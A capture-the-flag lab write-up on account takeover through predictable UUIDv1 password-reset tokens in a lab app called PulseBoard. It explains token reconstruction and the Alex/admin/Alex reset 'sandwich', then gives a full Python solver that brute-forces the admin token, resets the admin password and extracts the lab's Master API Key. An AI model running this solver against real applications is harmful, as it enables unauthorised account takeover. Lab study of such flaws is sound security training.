Lab 119 — PulseBoard — Predictable UUID v1 Password Reset Tokens
Lab 119 — PulseBoard — Predictable UUID v1 Password Reset Tokens
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-22 | Status: Solved Techniques: uuid_v1_reconstruction, reset_token_sandwich, timestamp_interpolation, token_enumeration, account_takeover
Summary
Task: PulseBoard uses predictable UUIDv1 password-reset tokens and exposes only Alex's reset mail. Solution: sandwich an admin reset between two Alex resets, reconstruct the UUID fields, enumerate the timestamp window, and take over admin.
Lab 119 — PulseBoard — Predictable UUID v1 Password Reset Tokens — hackadvisor
Description
Lab 119 — PulseBoard — Predictable UUID v1 Password Reset Tokens
PulseBoard provided the account alex.rivera@pulseboard.io / password123. The objective was to compromise admin@pulseboard.io, open the privileged /admin page, and recover its Master API Key.
Analysis
Alex's reset links contained UUID version 1 values rather than random UUIDv4 tokens. A UUIDv1 exposes a 60-bit timestamp in 100 ns ticks, together with a clock sequence and node identifier. Python's uuid module reconstructs the timestamp as:
python read-only • copy allowedtimestamp = (u.time_low | (u.time_mid << 32) | ((u.time_hi_version & 0x0fff) << 48))
Reset tokens produced by one application instance retained the same node and clock-sequence fields. Therefore, a candidate token could be built by changing only the timestamp while preserving:
- UUID version 1 in the high timestamp field;
- the RFC 4122 variant bits;
clock_seq_hi_variantandclock_seq_low;- the 48-bit node.
For a model UUID u and candidate timestamp t, the correct construction is:
python read-only • copy alloweduuid.UUID(fields=( t & 0xffffffff, (t >> 32) & 0xffff, ((t >> 48) & 0x0fff) | 0x1000, u.clock_seq_hi_variant, u.clock_seq_low, u.node, ))
The intended reset-token sandwich was:
- request an Alex reset;
- request an admin reset;
- immediately request another Alex reset;
- read the two Alex UUIDv1 links from
/mail; - enumerate timestamps bounded by those observable tokens while retaining the node and clock sequence.
The mailbox was not global: it exposed Alex's mail only. This was sufficient because the hidden admin UUID was generated between two observable UUIDs. On the successful instance, an earlier pair of reference bounds was:
text read-only • copy allowed55619153-8571-11f1-8e85-7e6c7a1d005a 559dd6c8-8571-11f1-8e85-7e6c7a1d005a
Both had node 7e6c7a1d005a and clock sequence 0x0e85. A later fresh sandwich, combined with interpolation between client request timings and the two server-generated UUID timestamps, predicted a token near:
text read-only • copy allowede06f46dc-8573-11f1-8e85-7e6c7a1d005a
Scanning a ±20,000-tick window found the exact admin token:
text read-only • copy allowede06f8d8b-8573-11f1-8e85-7e6c7a1d005a
The reset route was also an oracle: GET /reset-password/<valid-token> returned HTTP 200 and a page containing Set a new password, whereas an invalid token returned 404.
Useful pitfalls
- A new reset request invalidates older tokens for the same account, although old messages remain visible. Use the newest Alex messages and do not request another admin reset after scanning begins.
- Reset tokens expire after 15 minutes, so perform the sandwich and scan immediately.
- High-rate
HEADrequests can receive transient edge-generated 200 responses. Confirm every candidate with a fullGETwhose body containsSet a new password. - The public HTML contained
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}as a hidden decoy. It was not privileged data and was not the challenge flag.
The observations eliminated three alternatives: the token was not UUIDv4 or cryptographically random, there was no global mailbox leak, and the public HTML flag was not authentic.
Solution
Use the ephemeral instance URL as TARGET. The solver below logs in as Alex, creates the Alex/admin/Alex sandwich, predicts the hidden timestamp from request midpoints, reconstructs UUIDv1 candidates, and scans outward around that prediction. Raw HTTP/1.1 HEAD batches make the bounded scan fast, but every apparent hit is confirmed with a marker-bearing GET before it is used.
python read-only • copy allowed#!/usr/bin/env python3 import argparse import concurrent.futures import re import socket import ssl import threading import time import uuid from urllib.parse import urlparse import requests def timed_post(session, url, data): start = time.time_ns() response = session.post(url, data=data, allow_redirects=False, timeout=10) end = time.time_ns() response.raise_for_status() if response.status_code >= 400 else None return (start + end) // 2 def with_time(model, timestamp): return uuid.UUID(fields=( timestamp & 0xffffffff, (timestamp >> 32) & 0xffff, ((timestamp >> 48) & 0x0fff) | 0x1000, model.clock_seq_hi_variant, model.clock_seq_low, model.node, )) def center_out(center, radius): yield center for distance in range(1, radius + 1): yield center + distance yield center - distance def pipeline_head(host, candidates): requests_raw = [] for index, candidate in enumerate(candidates): connection = "close" if index == len(candidates) - 1 else "keep-alive" requests_raw.append( f"HEAD /reset-password/{candidate} HTTP/1.1\r\n" f"Host: {host}\r\nConnection: {connection}\r\n\r\n".encode() ) context = ssl.create_default_context() with socket.create_connection((host, 443), timeout=10) as raw: with context.wrap_socket(raw, server_hostname=host) as sock: sock.settimeout(30) sock.sendall(b"".join(requests_raw)) response = bytearray() while True: block = sock.recv(65536) if not block: break response.extend(block) statuses = [int(x) for x in re.findall(rb"HTTP/1\.1 (\d{3})", response)] if len(statuses) != len(candidates): raise RuntimeError("pipelined response count mismatch") return statuses def scan(base, host, model, predicted_time, radius, workers, batch_size): ordered_times = list(center_out(predicted_time, radius)) batches = [ordered_times[i:i + batch_size] for i in range(0, len(ordered_times), batch_size)] stop = threading.Event() def check_batch(timestamps): if stop.is_set(): return None candidates = [with_time(model, timestamp) for timestamp in timestamps] for candidate, status in zip(candidates, pipeline_head(host, candidates)): if status != 200 or stop.is_set(): continue response = requests.get(f"{base}/reset-password/{candidate}", timeout=10) if response.status_code == 200 and "Set a new password" in response.text: stop.set() return candidate return None with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as pool: futures = [pool.submit(check_batch, batch) for batch in batches] for future in concurrent.futures.as_completed(futures): candidate = future.result() if candidate: for pending in futures: pending.cancel() return candidate raise RuntimeError("admin token not found; repeat with a fresh sandwich or larger radius") def main(): parser = argparse.ArgumentParser() parser.add_argument("target", help="for example: https://INSTANCE.labs.hackadvisor.io") parser.add_argument("--radius", type=int, default=20000) parser.add_argument("--workers", type=int, default=4) parser.add_argument("--batch", type=int, default=500) parser.add_argument("--new-password", default="PulseBoard-Reset-2026!") args = parser.parse_args() base = args.target.rstrip("/") host = urlparse(base).hostname alex = "alex.rivera@pulseboard.io" admin = "admin@pulseboard.io" session = requests.Session() login = session.post(f"{base}/login", data={ "email": alex, "password": "password123" }, allow_redirects=False, timeout=10) assert login.status_code == 302 request_midpoints = [] for email in (alex, admin, alex): request_midpoints.append(timed_post( session, f"{base}/forgot-password", {"email": email} )) mailbox = session.get(f"{base}/mail", timeout=10).text token_strings = set(re.findall( r"/reset-password/([0-9a-fA-F-]{36})", mailbox )) own = sorted((uuid.UUID(value) for value in token_strings), key=lambda value: value.time)[-2:] low, high = own assert low.version == high.version == 1 assert low.node == high.node and low.clock_seq == high.clock_seq t0, target_midpoint, t1 = request_midpoints fraction = (target_midpoint - t0) / (t1 - t0) predicted_time = round(low.time + fraction * (high.time - low.time)) predicted = with_time(low, predicted_time) print(f"bounds: {low} .. {high}") print(f"prediction: {predicted}") token = scan(base, host, low, predicted_time, args.radius, args.workers, args.batch) print(f"admin token: {token}") reset = requests.post(f"{base}/reset-password/{token}", data={ "password": args.new_password, "confirm_password": args.new_password, }, allow_redirects=False, timeout=10) assert reset.status_code == 302 admin_session = requests.Session() login = admin_session.post(f"{base}/login", data={ "email": admin, "password": args.new_password }, allow_redirects=False, timeout=10) assert login.status_code == 302 page = admin_session.get(f"{base}/admin", timeout=10) page.raise_for_status() flag = re.search(r"FLAG\{[^}]+\}", page.text) if not flag: raise RuntimeError("Master API Key not found") print(flag.group(0)) if __name__ == "__main__": main()
Run it against a fresh instance:
bash read-only • copy allowedpython3 solve.py 'https://INSTANCE.labs.hackadvisor.io'
The successful reset POST returned 302 to /login; logging in as admin returned 302 to /; and authenticated GET /admin returned 200. The privileged page labeled the real value as Master API Key.